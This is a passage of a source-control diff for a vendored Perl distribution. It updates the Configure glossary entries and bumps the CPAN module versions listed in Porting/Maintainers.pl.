 	indicates to the C program that the mblen() routine is available
 	to find the number of bytes in a multibye character.
 
+d_mbrlen (d_mbrlen.U):
+	This variable conditionally defines the HAS_MBRLEN symbol if the
+	mbrlen() routine is available to be used to get the length of
+	multi-byte character strings.
+
+d_mbrtowc (d_mbrtowc.U):
+	This variable conditionally defines the HAS_MBRTOWC symbol if the
+	mbrtowc() routine is available to be used to convert a multi-byte
+	character into a wide character.
+
 d_mbstowcs (d_mbstowcs.U):
 	This variable conditionally defines the HAS_MBSTOWCS symbol, which
 	indicates to the C program that the mbstowcs() routine is available
@@ -1674,21 +1689,6 @@
 	indicates to the C program that the mbtowc() routine is available
 	to convert multibyte to a wide character.
 
-d_memchr (d_memchr.U):
-	This variable conditionally defines the HAS_MEMCHR symbol, which
-	indicates to the C program that the memchr() routine is available
-	to locate characters within a C string.
-
-d_memcmp (d_memcmp.U):
-	This variable conditionally defines the HAS_MEMCMP symbol, which
-	indicates to the C program that the memcmp() routine is available
-	to compare blocks of memory.
-
-d_memcpy (d_memcpy.U):
-	This variable conditionally defines the HAS_MEMCPY symbol, which
-	indicates to the C program that the memcpy() routine is available
-	to copy blocks of memory.
-
 d_memmem (d_memmem.U):
 	This variable conditionally defines the HAS_MEMMEM symbol, which
 	indicates to the C program that the memmem() routine is available
@@ -1695,16 +1695,12 @@
 	to return a pointer to the start of the first occurance of a
 	substring in a memory area (or NULL if not found).
 
-d_memmove (d_memmove.U):
-	This variable conditionally defines the HAS_MEMMOVE symbol, which
-	indicates to the C program that the memmove() routine is available
-	to copy potentially overlapping blocks of memory.
+d_memrchr (d_memrchr.U):
+	This variable conditionally defines the HAS_MEMRCHR symbol, which
+	indicates to the C program that the memrchr() routine is available
+	to return a pointer to the last occurrence of a byte in a memory
+	area (or NULL if not found).
 
-d_memset (d_memset.U):
-	This variable conditionally defines the HAS_MEMSET symbol, which
-	indicates to the C program that the memset() routine is available
-	to set blocks of memory.
-
 d_mkdir (d_mkdir.U):
 	This variable conditionally defines the HAS_MKDIR symbol, which
 	indicates to the C program that the mkdir() routine is available
@@ -1719,6 +1715,11 @@
 	This variable conditionally defines the HAS_MKFIFO symbol, which
 	indicates to the C program that the mkfifo() routine is available.
 
+d_mkostemp (d_mkostemp.U):
+	This variable conditionally defines HAS_MKOSTEMP if mkostemp() is
+	available to exclusively create and open a uniquely named (with a
+	suffix) temporary file.
+
 d_mkstemp (d_mkstemp.U):
 	This variable conditionally defines the HAS_MKSTEMP symbol, which
 	indicates to the C program that the mkstemp() routine is available
@@ -1822,6 +1823,10 @@
 	This variable conditionally defines HAS_NAN if nan() is
 	available to generate NaN.
 
+d_nanosleep (d_nanosleep.U):
+	This variable conditionally defines HAS_NANOSLEEP
+	if nanosleep() is available to sleep with 1E-9 sec accuracy.
+
 d_ndbm (i_ndbm.U):
 	This variable conditionally defines the HAS_NDBM symbol, which
 	indicates that both the ndbm.h include file and an appropriate ndbm
@@ -1897,6 +1902,10 @@
 	which indicates to the C program that the 3 argument version of
 	the open(2) function is available.
 
+d_openat (d_fsat.U):
+	This variable conditionally defines the HAS_OPENAT symbol, which
+	indicates the POSIX openat() function is available.
+
 d_pathconf (d_pathconf.U):
 	This variable conditionally defines the HAS_PATHCONF symbol, which
 	indicates to the C program that the pathconf() routine is available
@@ -1923,6 +1932,11 @@
 	indicates to the C program that the pipe() routine is available
 	to create an inter-process channel.
 
+d_pipe2 (d_pipe2.U):
+	This variable conditionally defines the HAS_PIPE2 symbol, which
+	indicates to the C program that the pipe2() routine is available
+	to create an inter-process channel.
+
 d_poll (d_poll.U):
 	This variable conditionally defines the HAS_POLL symbol, which
 	indicates to the C program that the poll() routine is available
@@ -2137,6 +2151,10 @@
 	indicates to the C program that the rename() routine is available
 	to rename files.
 
+d_renameat (d_fsat.U):
+	This variable conditionally defines the HAS_RENAMEAT symbol, which
+	indicates the POSIX renameat() function is available.
+
 d_rewinddir (d_readdir.U):
 	This variable conditionally defines HAS_REWINDDIR if rewinddir() is
 	available.
@@ -2153,21 +2171,6 @@
 	This variable conditionally defines the HAS_ROUND symbol, which
 	indicates to the C program that the round() routine is available.
 
-d_safebcpy (d_safebcpy.U):
-	This variable conditionally defines the HAS_SAFE_BCOPY symbol if
-	the bcopy() routine can do overlapping copies.  Normally, you
-	should probably use memmove().
-
-d_safemcpy (d_safemcpy.U):
-	This variable conditionally defines the HAS_SAFE_MEMCPY symbol if
-	the memcpy() routine can do overlapping copies.
-	For overlapping copies, memmove() should be used, if available.
-
-d_sanemcmp (d_sanemcmp.U):
-	This variable conditionally defines the HAS_SANE_MEMCMP symbol if
-	the memcpy() routine is available and can be used to compare relative
-	magnitudes of chars with their high bits set.
-
 d_sbrkproto (d_sbrkproto.U):
 	This variable conditionally defines the HAS_SBRK_PROTO symbol,
 	which indicates to the C program that the system provides
@@ -2510,12 +2513,6 @@
 	This variable conditionally defines the HAS_SOCKS5_INIT symbol, which
 	indicates to the C program that the socks5_init() routine is available.
 
-d_sprintf_returns_strlen (d_sprintf_len.U):
-	This variable defines whether sprintf returns the length of the string
-	(as per the ANSI spec). Some C libraries retain compatibility with
-	pre-ANSI C and return a pointer to the passed in buffer; for these
-	this variable will be undef.
-
 d_sqrtl (d_sqrtl.U):
 	This variable conditionally defines the HAS_SQRTL symbol, which
 	indicates to the C program that the sqrtl() routine is available.
@@ -2602,29 +2599,10 @@
 	has a FILE structure declaring usable _ptr and _cnt fields (or
 	equivalent) in stdio.h.
 
-d_strchr (d_strchr.U):
-	This variable conditionally defines HAS_STRCHR if strchr() and
-	strrchr() are available for string searching.
-
 d_strcoll (d_strcoll.U):
 	This variable conditionally defines HAS_STRCOLL if strcoll() is
 	available to compare strings using collating information.
 
-d_strctcpy (d_strctcpy.U):
-	This variable conditionally defines the USE_STRUCT_COPY symbol, which
-	indicates to the C program that this C compiler knows how to copy
-	structures.
-
-d_strerrm (d_strerror.U):
-	This variable holds what Strerror is defined as to translate an error
-	code condition into an error message string. It could be 'strerror'
-	or a more complex macro emulating strerror with sys_errlist[], or the
-	"unknown" string when both strerror and sys_errlist are missing.
-
-d_strerror (d_strerror.U):
-	This variable conditionally defines HAS_STRERROR if strerror() is
-	available to translate error numbers to strings.
-
 d_strerror_l (d_strerror_l.U):
 	This variable conditionally defines the HAS_STRERROR_L symbol, which
 	indicates to the C program that the strerror_l() routine is available
@@ -2648,6 +2626,10 @@
 	This variable conditionally defines the HAS_STRLCPY symbol, which
 	indicates to the C program that the strlcpy () routine is available.
 
+d_strnlen (d_strnlen.U):
+	This variable conditionally defines the HAS_STRNLEN symbol, which
+	indicates to the C program that the strnlen () routine is available.
+
 d_strtod (d_strtod.U):
 	This variable conditionally defines the HAS_STRTOD symbol, which
 	indicates to the C program that the strtod() routine is available
@@ -2662,6 +2644,10 @@
 	This variable conditionally defines the HAS_STRTOLD symbol, which
 	indicates to the C program that the strtold() routine is available.
 
+d_strtold_l (d_strtold_l.U):
+	This variable conditionally defines the HAS_STRTOLD_L symbol, which
+	indicates to the C program that the strtold_l() routine is available.
+
 d_strtoll (d_strtoll.U):
 	This variable conditionally defines the HAS_STRTOLL symbol, which
 	indicates to the C program that the strtoll() routine is available.
@@ -2748,6 +2734,11 @@
 	indicates to the C program that the tgamma() routine is available
 	for the gamma function.  See also d_lgamma.
 
+d_thread_safe_nl_langinfo_l (d_nl_langinfo_l.U):
+	This variable contains the eventual value of the
+	HAS_THREAD_SAFE_NL_LANGINFO_L symbol, which indicates if the
+	nl_langinfo_l() function exists and is thread-safe.
+
 d_time (d_time.U):
 	This variable conditionally defines the HAS_TIME symbol, which indicates
 	that the time() routine exists.  The time() routine is normally
@@ -2821,6 +2812,10 @@
 	This variable conditionally defines HAS_UNION_SEMUN if the
 	union semun is defined by including <sys/sem.h>.
 
+d_unlinkat (d_fsat.U):
+	This variable conditionally defines the HAS_UNLINKAT symbol, which
+	indicates the POSIX unlinkat() function isavailable.
+
 d_unordered (d_unordered.U):
 	This variable conditionally defines the HAS_UNORDERED symbol, which
 	indicates to the C program that the unordered() routine is available.
@@ -2879,16 +2874,6 @@
 	Otherwise (on USG probably), it is enough to close the standard file
 	descriptors and do a setpgrp().
 
-d_volatile (d_volatile.U):
-	This variable conditionally defines the HASVOLATILE symbol, which
-	indicates to the C program that this C compiler knows about the
-	volatile declaration.
-
-d_vprintf (d_vprintf.U):
-	This variable conditionally defines the HAS_VPRINTF symbol, which
-	indicates to the C program that the vprintf() routine is available
-	to printf with a pointer to an argument list.
-
 d_vsnprintf (d_snprintf.U):
 	This variable conditionally defines the HAS_VSNPRINTF symbol, which
 	indicates to the C program that the vsnprintf () library function
@@ -3468,11 +3453,6 @@
 	This variable conditionally defines the I_ARPA_INET symbol,
 	and indicates whether a C program should include <arpa/inet.h>.
 
-i_assert (i_assert.U):
-	This variable conditionally defines the I_ASSERT symbol, which
-	indicates to the C program that <assert.h> exists and could be
-	included.
-
 i_bfd (i_bfd.U):
 	This variable conditionally defines the I_BFD symbol, and
 	indicates whether a C program can include <bfd.h>.
@@ -3517,11 +3497,6 @@
 	indicates to the C program that <fenv.h> exists and should
 	be included.
 
-i_float (i_float.U):
-	This variable conditionally defines the I_FLOAT symbol, and indicates
-	whether a C program may include <float.h> to get symbols like DBL_MAX
-	or DBL_MIN, i.e. machine dependent floating point values.
-
 i_fp (i_fp.U):
 	This variable conditionally defines the I_FP symbol, and indicates
 	whether a C program should include <fp.h>.
@@ -3567,11 +3542,6 @@
 	This variable conditionally defines the I_LIBUTIL symbol, and indicates
 	whether a C program should include <libutil.h>.
 
-i_limits (i_limits.U):
-	This variable conditionally defines the I_LIMITS symbol, and indicates
-	whether a C program may include <limits.h> to get symbols like WORD_BIT
-	and friends.
-
 i_locale (i_locale.U):
 	This variable conditionally defines the I_LOCALE symbol,
 	and indicates whether a C program should include <locale.h>.
@@ -3588,14 +3558,6 @@
 	This variable conditionally defines the I_MALLOCMALLOC symbol,
 	and indicates whether a C program should include <malloc/malloc.h>.
 
-i_math (i_math.U):
-	This variable conditionally defines the I_MATH symbol, and indicates
-	whether a C program may include <math.h>.
-
-i_memory (i_memory.U):
-	This variable conditionally defines the I_MEMORY symbol, and indicates
-	whether a C program should include <memory.h>.
-
 i_mntent (i_mntent.U):
 	This variable conditionally defines the I_MNTENT symbol, and indicates
 	whether a C program should include <mntent.h>.
@@ -3661,21 +3623,11 @@
 	This variable conditionally defines the I_SOCKS symbol, and indicates
 	whether a C program should include <socks.h>.
 
-i_stdarg (i_varhdr.U):
-	This variable conditionally defines the I_STDARG symbol, which
-	indicates to the C program that <stdarg.h> exists and should
-	be included.
-
 i_stdbool (i_stdbool.U):
 	This variable conditionally defines the I_STDBOOL symbol, which
 	indicates to the C program that <stdbool.h> exists and should
 	be included.
 
-i_stddef (i_stddef.U):
-	This variable conditionally defines the I_STDDEF symbol, which
-	indicates to the C program that <stddef.h> exists and should
-	be included.
-
 i_stdint (i_stdint.U):
 	This variable conditionally defines the I_STDINT symbol, which
 	indicates to the C program that <stdint.h> exists and should
@@ -3682,14 +3634,8 @@
 	be included.
 
 i_stdlib (i_stdlib.U):
-	This variable conditionally defines the I_STDLIB symbol, which
-	indicates to the C program that <stdlib.h> exists and should
-	be included.
+	This variable unconditionally defines the I_STDLIB symbol.
 
-i_string (i_string.U):
-	This variable conditionally defines the I_STRING symbol, which
-	indicates that <string.h> should be included rather than <strings.h>.
-
 i_sunmath (i_sunmath.U):
 	This variable conditionally defines the I_SUNMATH symbol, and indicates
 	whether a C program should include <sunmath.h>.
@@ -3726,8 +3672,8 @@
 	and indicates whether a C program should include <syslog.h>.
 
 i_sysmman (i_sysmman.U):
-	This variable conditionally defines the I_SYS_MMAN symbol, and
-	indicates whether a C program should include <sys/mman.h>.
+	This variable conditionally defines the I_SYS_MMAN symbol,
+	and indicates whether a C program should include <sys/mman.h>.
 
 i_sysmode (i_sysmode.U):
 	This variable conditionally defines the I_SYSMODE symbol,
@@ -3828,7 +3774,7 @@
 	to be included.
 
 i_time (i_time.U):
-	This variable conditionally defines I_TIME, which indicates
+	This variable unconditionally defines I_TIME, which indicates
 	to the C program that it should include <time.h>.
 
 i_unistd (i_unistd.U):
@@ -3843,23 +3789,14 @@
 	This variable conditionally defines the I_UTIME symbol, and indicates
 	whether a C program should include <utime.h>.
 
-i_values (i_values.U):
-	This variable conditionally defines the I_VALUES symbol, and indicates
-	whether a C program may include <values.h> to get symbols like MAXLONG
-	and friends.
-
-i_varargs (i_varhdr.U):
-	This variable conditionally defines I_VARARGS, which indicates
-	to the C program that it should include <varargs.h>.
-
-i_varhdr (i_varhdr.U):
-	Contains the name of the header to be included to get va_dcl definition.
-	Typically one of varargs.h or stdarg.h.
-
 i_vfork (i_vfork.U):
 	This variable conditionally defines the I_VFORK symbol, and indicates
 	whether a C program should include vfork.h.
 
+i_wchar (i_wchar.U):
+	This variable conditionally defines the I_WCHAR symbol,
+	that indicates whether a C program may include <wchar.h>.
+
 i_xlocale (d_newlocale.U):
 	This symbol, if defined, indicates to the C program that it should
 	include <xlocale.h> to get uselocale() and its friends
@@ -4772,10 +4709,6 @@
 	of the symbolic link pointing to the absolute pathname of
 	the executing program.
 
-prototype (prototype.U):
-	This variable holds the eventual value of CAN_PROTOTYPE, which
-	indicates the C compiler can handle function prototypes.
-
 ptrsize (ptrsize.U):
 	This variable contains the value of the PTRSIZE symbol, which
 	indicates to the C program how many bytes there are in a pointer.
@@ -4988,6 +4921,7 @@
 	or
 	shrpenv=''
 	See the main perl Makefile.SH for actual working usage.
+
 	Alternatively, we might be able to use a command line option such
 	as -R $archlibexp/CORE (Solaris) or -Wl,-rpath
 	$archlibexp/CORE (Linux).
@@ -5368,10 +5302,6 @@
 	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
 	is defined.
 
-strings (i_string.U):
-	This variable holds the full path of the string header that will be
-	used. Typically /usr/include/string.h or /usr/include/strings.h.
-
 submit (Loc.U):
 	This variable is defined but not used by Configure.
 	The value is the empty string and is not useful.
@@ -5744,11 +5674,6 @@
 	This variable contains the format string used for printing
 	a Perl UV as an unsigned hexadecimal integer in uppercase ABCDEF.
 
-vaproto (vaproto.U):
-	This variable conditionally defines CAN_VAPROTO on systems supporting
-	prototype declaration of functions with a variable number of
-	arguments. See also prototype.
-
 vendorarch (vendorarch.U):
 	This variable contains the value of the PERL_VENDORARCH symbol.
 	It may have a ~ on the front.

Modified: vendor/perl/dist/Porting/Maintainers.pl
===================================================================
--- vendor/perl/dist/Porting/Maintainers.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/Maintainers.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -85,7 +85,7 @@
 
 # DEPRECATED contains the *first* version of Perl in which the module
 # was considered deprecated.  It should only be present if the module is
-# actually deprecated.  Such modules should use deprecated.pm to
+# actually deprecated.  Such modules should use deprecate.pm to
 # issue a warning if used.  E.g.:
 #
 #     use if $] >= 5.011, 'deprecate';
@@ -120,7 +120,7 @@
 %Modules = (
 
     'Archive::Tar' => {
-        'DISTRIBUTION' => 'BINGOS/Archive-Tar-2.24.tar.gz',
+        'DISTRIBUTION' => 'BINGOS/Archive-Tar-2.30.tar.gz',
         'FILES'        => q[cpan/Archive-Tar],
         'BUGS'         => 'bug-archive-tar at rt.cpan.org',
         'EXCLUDED'     => [
@@ -156,8 +156,15 @@
                 t/system.t
                 )
         ],
-        # CPAN RT 105344
-        'CUSTOMIZED'   => [ qw[ t/mkdir.t ] ],
+        'CUSTOMIZED'   => [
+	    # CPAN RT 105344
+	    't/mkdir.t',
+	    # smartmatch changes
+	    'lib/autodie/exception.pm',
+	    'lib/autodie/hints.pm',
+	    't/exceptions.t',
+	    't/lib/Hints_pod_examples.pm',
+        ],
     },
 
     'AutoLoader' => {
@@ -173,9 +180,10 @@
     },
 
     'B::Debug' => {
-        'DISTRIBUTION' => 'RURBAN/B-Debug-1.24.tar.gz',
+        'DISTRIBUTION' => 'RURBAN/B-Debug-1.26.tar.gz',
         'FILES'        => q[cpan/B-Debug],
         'EXCLUDED'     => ['t/pod.t'],
+        'DEPRECATED'   => '5.027003',
     },
 
     'base' => {
@@ -184,7 +192,7 @@
     },
 
     'bignum' => {
-        'DISTRIBUTION' => 'PJACKLAM/bignum-0.47.tar.gz',
+        'DISTRIBUTION' => 'PJACKLAM/bignum-0.49.tar.gz',
         'FILES'        => q[cpan/bignum],
         'EXCLUDED'     => [
             qr{^t/author-},
@@ -213,7 +221,7 @@
     },
 
     'Compress::Raw::Zlib' => {
-        'DISTRIBUTION' => 'PMQS/Compress-Raw-Zlib-2.074.tar.gz',
+        'DISTRIBUTION' => 'PMQS/Compress-Raw-Zlib-2.076.tar.gz',
 
         'FILES'    => q[cpan/Compress-Raw-Zlib],
         'EXCLUDED' => [
@@ -226,7 +234,7 @@
     },
 
     'Config::Perl::V' => {
-        'DISTRIBUTION' => 'HMBRAND/Config-Perl-V-0.27.tgz',
+        'DISTRIBUTION' => 'HMBRAND/Config-Perl-V-0.29.tgz',
         'FILES'        => q[cpan/Config-Perl-V],
         'EXCLUDED'     => [qw(
 		examples/show-v.pl
@@ -247,7 +255,7 @@
     },
 
     'CPAN' => {
-        'DISTRIBUTION' => 'ANDK/CPAN-2.18-TRIAL.tar.gz',
+        'DISTRIBUTION' => 'ANDK/CPAN-2.20-TRIAL.tar.gz',
         'FILES'        => q[cpan/CPAN],
         'EXCLUDED'     => [
             qr{^distroprefs/},
@@ -258,6 +266,7 @@
             qw( lib/CPAN/Admin.pm
                 scripts/cpan-mirrors
                 PAUSE2015.pub
+                PAUSE2019.pub
                 SlayMakefile
                 t/00signature.t
                 t/04clean_load.t
@@ -337,13 +346,12 @@
     },
 
     'Devel::PPPort' => {
-        'DISTRIBUTION' => 'WOLFSAGE/Devel-PPPort-3.35.tar.gz',
-        # RJBS has asked MHX to have UPSTREAM be 'blead'
-        # (i.e. move this from cpan/ to dist/)
-        'FILES'        => q[cpan/Devel-PPPort],
+        'DISTRIBUTION' => 'WOLFSAGE/Devel-PPPort-3.36.tar.gz',
+        'FILES'        => q[dist/Devel-PPPort],
         'EXCLUDED'     => [
             'PPPort.pm',    # we use PPPort_pm.PL instead
-        ]
+        ],
+        'CUSTOMIZED'   => [ qw[ parts/embed.fnc ] ],
     },
 
     'Devel::SelfStubber' => {
@@ -369,7 +377,7 @@
     },
 
     'Digest::SHA' => {
-        'DISTRIBUTION' => 'MSHELOR/Digest-SHA-5.96.tar.gz',
+        'DISTRIBUTION' => 'MSHELOR/Digest-SHA-6.01.tar.gz',
         'FILES'        => q[cpan/Digest-SHA],
         'EXCLUDED'     => [
             qw( t/pod.t
@@ -386,9 +394,12 @@
     },
 
     'Encode' => {
-        'DISTRIBUTION' => 'DANKOGAI/Encode-2.88.tar.gz',
+        'DISTRIBUTION' => 'DANKOGAI/Encode-2.97.tar.gz',
         'FILES'        => q[cpan/Encode],
-        'CUSTOMIZED'   => [ qw(Unicode/Unicode.pm) ],
+        'CUSTOMIZED'   => [
+	    # TODO test passes on blead
+	    't/truncated_utf8.t',
+        ],
     },
 
     'encoding::warnings' => {
@@ -407,9 +418,17 @@
     },
 
     'experimental' => {
-        'DISTRIBUTION' => 'LEONT/experimental-0.016.tar.gz',
+        'DISTRIBUTION' => 'LEONT/experimental-0.019.tar.gz',
         'FILES'        => q[cpan/experimental],
+        'EXCLUDED'     => [
+            qr{^xt/},
+            qr{nytprof.*}
+        ],
         'EXCLUDED'     => [qr{^xt/}],
+        'CUSTOMIZED'   => [
+	    # smartmatch changes
+	    't/basic.t',
+        ],
     },
 
     'Exporter' => {
@@ -423,7 +442,7 @@
     },
 
     'ExtUtils::CBuilder' => {
-        'DISTRIBUTION' => 'AMBS/ExtUtils-CBuilder-0.280224.tar.gz',
+        'DISTRIBUTION' => 'AMBS/ExtUtils-CBuilder-0.280230.tar.gz',
         'FILES'        => q[dist/ExtUtils-CBuilder],
         'EXCLUDED'     => [
             qw(README.mkdn),
@@ -433,7 +452,7 @@
 
     'ExtUtils::Constant' => {
 
-        'DISTRIBUTION' => 'NWCLARK/ExtUtils-Constant-0.23.tar.gz',
+        'DISTRIBUTION' => 'NWCLARK/ExtUtils-Constant-0.24.tar.gz',
         'FILES'    => q[cpan/ExtUtils-Constant],
         'EXCLUDED' => [
             qw( lib/ExtUtils/Constant/Aaargh56Hash.pm
@@ -441,12 +460,10 @@
                 examples/perl_regcomp_posix_keyword.pl
                 ),
         ],
-        # cc37ebcee3 to fix VMS failure
-        'CUSTOMIZED'   => [ qw(t/Constant.t) ],
     },
 
     'ExtUtils::Install' => {
-        'DISTRIBUTION' => 'BINGOS/ExtUtils-Install-2.04.tar.gz',
+        'DISTRIBUTION' => 'BINGOS/ExtUtils-Install-2.14.tar.gz',
         'FILES'        => q[cpan/ExtUtils-Install],
         'EXCLUDED'     => [
             qw( t/lib/Test/Builder.pm
@@ -460,7 +477,7 @@
     },
 
     'ExtUtils::MakeMaker' => {
-        'DISTRIBUTION' => 'BINGOS/ExtUtils-MakeMaker-7.24.tar.gz',
+        'DISTRIBUTION' => 'BINGOS/ExtUtils-MakeMaker-7.34.tar.gz',
         'FILES'        => q[cpan/ExtUtils-MakeMaker],
         'EXCLUDED'     => [
             qr{^t/lib/Test/},
@@ -484,24 +501,22 @@
     },
 
     'ExtUtils::ParseXS' => {
-        'DISTRIBUTION' => 'SMUELLER/ExtUtils-ParseXS-3.30.tar.gz',
+        'DISTRIBUTION' => 'SMUELLER/ExtUtils-ParseXS-3.35.tar.gz',
         'FILES'        => q[dist/ExtUtils-ParseXS],
     },
 
     'File::Fetch' => {
-        'DISTRIBUTION' => 'BINGOS/File-Fetch-0.52.tar.gz',
+        'DISTRIBUTION' => 'BINGOS/File-Fetch-0.56.tar.gz',
         'FILES'        => q[cpan/File-Fetch],
     },
 
     'File::Path' => {
-        'DISTRIBUTION' => 'RICHE/File-Path-2.12.tar.gz',
+        'DISTRIBUTION' => 'JKEENAN/File-Path-2.15.tar.gz',
         'FILES'        => q[cpan/File-Path],
         'EXCLUDED'     => [
             qw(t/Path-Class.t),
             qr{^xt/},
         ],
-        # https://github.com/rpcme/File-Path/pull/34
-        'CUSTOMIZED' => [ qw( lib/File/Path.pm t/Path_win32.t ) ],
     },
 
     'File::Temp' => {
@@ -517,7 +532,7 @@
     },
 
     'Filter::Simple' => {
-        'DISTRIBUTION' => 'SMUELLER/Filter-Simple-0.91.tar.gz',
+        'DISTRIBUTION' => 'SMUELLER/Filter-Simple-0.94.tar.gz',
         'FILES'        => q[dist/Filter-Simple],
         'EXCLUDED'     => [
             qr{^demo/}
@@ -525,7 +540,7 @@
     },
 
     'Filter::Util::Call' => {
-        'DISTRIBUTION' => 'RURBAN/Filter-1.55.tar.gz',
+        'DISTRIBUTION' => 'RURBAN/Filter-1.58.tar.gz',
         'FILES'        => q[cpan/Filter-Util-Call
                  pod/perlfilter.pod
                 ],
@@ -546,6 +561,7 @@
                 t/sh.t
                 t/tee.t
                 t/z_kwalitee.t
+                t/z_manifest.t
                 t/z_meta.t
                 t/z_perl_minimum_version.t
                 t/z_pod-coverage.t
@@ -553,15 +569,15 @@
                 ),
         ],
         'MAP' => {
-            'Call/'          => 'cpan/Filter-Util-Call/',
-            'filter-util.pl' => 'cpan/Filter-Util-Call/filter-util.pl',
-            'perlfilter.pod' => 'pod/perlfilter.pod',
-            ''               => 'cpan/Filter-Util-Call/',
+            'Call/'            => 'cpan/Filter-Util-Call/',
+            't/filter-util.pl' => 'cpan/Filter-Util-Call/filter-util.pl',
+            'perlfilter.pod'   => 'pod/perlfilter.pod',
+            ''                 => 'cpan/Filter-Util-Call/',
         },
     },
 
     'Getopt::Long' => {
-        'DISTRIBUTION' => 'JV/Getopt-Long-2.49.1.tar.gz',
+        'DISTRIBUTION' => 'JV/Getopt-Long-2.50.tar.gz',
         'FILES'        => q[cpan/Getopt-Long],
         'EXCLUDED'     => [
             qr{^examples/},
@@ -597,7 +613,7 @@
     },
 
     'if' => {
-        'DISTRIBUTION' => 'RJBS/if-0.0606.tar.gz',
+        'DISTRIBUTION' => 'XSAWYERX/if-0.0608.tar.gz',
         'FILES'        => q[dist/if],
     },
 
@@ -620,7 +636,7 @@
     },
 
     'IO::Socket::IP' => {
-        'DISTRIBUTION' => 'PEVANS/IO-Socket-IP-0.38.tar.gz',
+        'DISTRIBUTION' => 'PEVANS/IO-Socket-IP-0.39.tar.gz',
         'FILES'        => q[cpan/IO-Socket-IP],
         'EXCLUDED'     => [
             qr{^examples/},
@@ -633,7 +649,7 @@
     },
 
     'IPC::Cmd' => {
-        'DISTRIBUTION' => 'BINGOS/IPC-Cmd-0.96.tar.gz',
+        'DISTRIBUTION' => 'BINGOS/IPC-Cmd-1.00.tar.gz',
         'FILES'        => q[cpan/IPC-Cmd],
     },
 
@@ -648,14 +664,8 @@
     },
 
     'JSON::PP' => {
-        'DISTRIBUTION' => 'MAKAMAKA/JSON-PP-2.27400.tar.gz',
+        'DISTRIBUTION' => 'ISHIGAKI/JSON-PP-2.97001.tar.gz',
         'FILES'        => q[cpan/JSON-PP],
-        'CUSTOMIZED'   => [
-            'bin/json_pp',    # CVE-2016-1238
-            'lib/JSON/PP.pm', # CVE-2016-1238, CPAN RT 118469
-            't/011_pc_expo.t',      # CPAN RT 118469
-            't/018_json_checker.t', # CPAN RT 118469
-        ],
     },
 
     'lib' => {
@@ -669,7 +679,7 @@
     },
 
     'libnet' => {
-        'DISTRIBUTION' => 'SHAY/libnet-3.10.tar.gz',
+        'DISTRIBUTION' => 'SHAY/libnet-3.11.tar.gz',
         'FILES'        => q[cpan/libnet],
         'EXCLUDED'     => [
             qw( Configure
@@ -684,7 +694,7 @@
     },
 
     'Locale-Codes' => {
-        'DISTRIBUTION' => 'SBECK/Locale-Codes-3.42.tar.gz',
+        'DISTRIBUTION' => 'SBECK/Locale-Codes-3.56.tar.gz',
         'FILES'        => q[cpan/Locale-Codes],
         'EXCLUDED'     => [
             qw( README.first
@@ -720,7 +730,7 @@
     },
 
     'Math::BigInt' => {
-        'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-1.999806.tar.gz',
+        'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-1.999811.tar.gz',
         'FILES'        => q[cpan/Math-BigInt],
         'EXCLUDED'     => [
             qr{^examples/},
@@ -734,7 +744,7 @@
     },
 
     'Math::BigInt::FastCalc' => {
-        'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-FastCalc-0.5005.tar.gz',
+        'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-FastCalc-0.5006.tar.gz',
         'FILES'        => q[cpan/Math-BigInt-FastCalc],
         'EXCLUDED'     => [
             qr{^t/author-},
@@ -758,7 +768,7 @@
     },
 
     'Math::BigRat' => {
-        'DISTRIBUTION' => 'PJACKLAM/Math-BigRat-0.2611.tar.gz',
+        'DISTRIBUTION' => 'PJACKLAM/Math-BigRat-0.2613.tar.gz',
         'FILES'        => q[cpan/Math-BigRat],
         'EXCLUDED'     => [
             qr{^t/author-},
@@ -802,7 +812,7 @@
     },
 
     'Module::CoreList' => {
-        'DISTRIBUTION' => 'BINGOS/Module-CoreList-5.20170420.tar.gz',
+        'DISTRIBUTION' => 'BINGOS/Module-CoreList-5.20180420.tar.gz',
         'FILES'        => q[dist/Module-CoreList],
     },
 
@@ -833,7 +843,7 @@
     },
 
     'Net::Ping' => {
-        'DISTRIBUTION' => 'RURBAN/Net-Ping-2.55.tar.gz',
+        'DISTRIBUTION' => 'RURBAN/Net-Ping-2.61.tar.gz',
         'FILES'        => q[dist/Net-Ping],
         'EXCLUDED'     => [
             qw(README.md.PL),
@@ -842,7 +852,9 @@
             qw(t/601_pod-coverage.t),
         ],
         'CUSTOMIZED'   => [
-            qw( t/000_load.t t/001_new.t t/010_pingecho.t t/500_ping_icmp.t),
+            qw( t/000_load.t
+                t/001_new.t
+                t/500_ping_icmp.t),
         ],
 
     },
@@ -851,6 +863,7 @@
         'DISTRIBUTION' => 'NEILB/NEXT-0.67.tar.gz',
         'FILES'        => q[cpan/NEXT],
         'EXCLUDED'     => [qr{^demo/}],
+        'CUSTOMIZED'   => [ qw(lib/NEXT.pm t/next.t) ],
     },
 
     'Params::Check' => {
@@ -867,7 +880,7 @@
     },
 
     'PathTools' => {
-        'DISTRIBUTION' => 'RJBS/PathTools-3.62.tar.gz',
+        'DISTRIBUTION' => 'XSAWYERX/PathTools-3.74.tar.gz',
         'FILES'        => q[dist/PathTools],
         'EXCLUDED'     => [
             qr{^t/lib/Test/},
@@ -890,6 +903,8 @@
                 t/00-compile.t),
             qr{^xt/},
         ],
+
+        'CUSTOMIZED'   => [ qw[ lib/perlfaq5.pod lib/perlfaq8.pod ] ],
     },
 
     'PerlIO::via::QuotedPrint' => {
@@ -935,10 +950,15 @@
             # https://rt.cpan.org/Ticket/Display.html?id=116827
             't/02_module_pod_output.t'
         ],
+
+        'CUSTOMIZED'   => [
+	    # [rt.cpan.org #88204], [rt.cpan.org #120229]
+	    'lib/Pod/Perldoc.pm',
+	],
     },
 
     'Pod::Simple' => {
-        'DISTRIBUTION' => 'MARCGREEN/Pod-Simple-3.35.tar.gz',
+        'DISTRIBUTION' => 'KHW/Pod-Simple-3.35.tar.gz',
         'FILES'        => q[cpan/Pod-Simple],
     },
 
@@ -948,7 +968,7 @@
     },
 
     'podlators' => {
-        'DISTRIBUTION' => 'RRA/podlators-4.09.tar.gz',
+        'DISTRIBUTION' => 'RRA/podlators-4.10.tar.gz',
         'FILES'        => q[cpan/podlators pod/perlpodstyle.pod],
         'EXCLUDED'     => [
             qr{^docs/metadata/},
@@ -959,6 +979,8 @@
             # this file lives outside the cpan/ directory
